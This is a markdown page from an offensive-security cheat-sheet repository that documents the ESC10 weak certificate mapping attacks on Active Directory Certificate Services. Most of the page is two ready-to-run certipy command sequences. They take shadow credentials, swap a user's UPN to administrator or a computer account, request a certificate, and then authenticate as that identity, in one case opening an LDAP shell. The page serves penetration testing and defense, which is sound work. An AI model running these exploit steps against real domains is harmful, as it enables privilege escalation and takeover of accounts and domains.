ad-adcs-esc10.md (2188B)
1 --- 2 title: "Active Directory - Certificate ESC10" 3 section: "Active Directory" 4 sectionSlug: "active-directory" 5 sourcePath: "docs/active-directory/ad-adcs-esc10.md" 6 sourceUrl: "https://github.com/swisskyrepo/InternalAllTheThings/blob/203bb0c0b290/docs/active-directory/ad-adcs-esc10.md" 7 sha: "203bb0c0b290" 8 isIndex: false 9 --- 10 11 # Active Directory - Certificate ESC10 12 13 ## ESC10 – Weak Certificate Mapping - StrongCertificateBindingEnforcement 14 15 **Requirements**: 16 17 * `StrongCertificateBindingEnforcement` = 0. 18 19 **Exploit**: 20 21 ```ps1 22 # get user hash with shadowcredentials 23 certipy shadow auto -username "user@domain.local" -p "password" -account admin -dc-ip 10.10.10.10 24 25 # change user UPN 26 certipy account update -username "user@domain.local" -p "password" -user admin -upn administrator -dc-ip 10.10.10.10 27 28 # ask for certificate 29 certipy req -username "admin@domain.local" -hashes "hashes" -target "10.10.10.10" -ca 'DOMAIN-CA' -template 'user' -debug 30 31 # Rollback upn modification 32 certipy account update -username "user@domain.local" -p "password" -user admin -upn admin -dc-ip 10.10.10.10 33 34 # Connect with the certificate 35 certipy auth -pfx 'administrator.pfx' -domain "domain.local" -dc-ip 10.10.10.10 36 ``` 37 38 ## ESC10 – Weak Certificate Mapping - CertificateMappingMethods 39 40 **Requirements**: 41 42 * `CertificateMappingMethods` = 0x04. 43 44 **Exploit**: 45 46 ```ps1 47 certipy shadow auto -username "user@domain.local" -p "password" -account admin -dc-ip 10.10.10.10 48 49 # change user UPN to computer$ 50 certipy account update -username "user@domain.local" -p "password" -user admin -upn 'computer$@domain.local' -dc-ip 10.10.10.10 51 52 # ask for certificate 53 certipy req -username "admin@domain.local" -hashes "3b60abbc25770511334b3829866b08f1" -target "10.10.10.10" -ca 'DOMAIN-CA' -template 'user' -debug 54 55 # Rollback upn modification 56 certipy account update -username "user@domain.local" -p "password" -user admin -upn admin -dc-ip 10.10.10.10 57 58 # Connect via schannel with the certificate 59 certipy auth -pfx 'computer.pfx' -domain "domain.local" -dc-ip 10.10.10.10 -ldap-shell 60 ``` 61 62 ## References 63 64 * [GOAD - part 14 - ADCS 5/7/9/10/11/13/14/15 - Mayfly - March 10, 2025](https://mayfly277.github.io/posts/ADCS-part14/)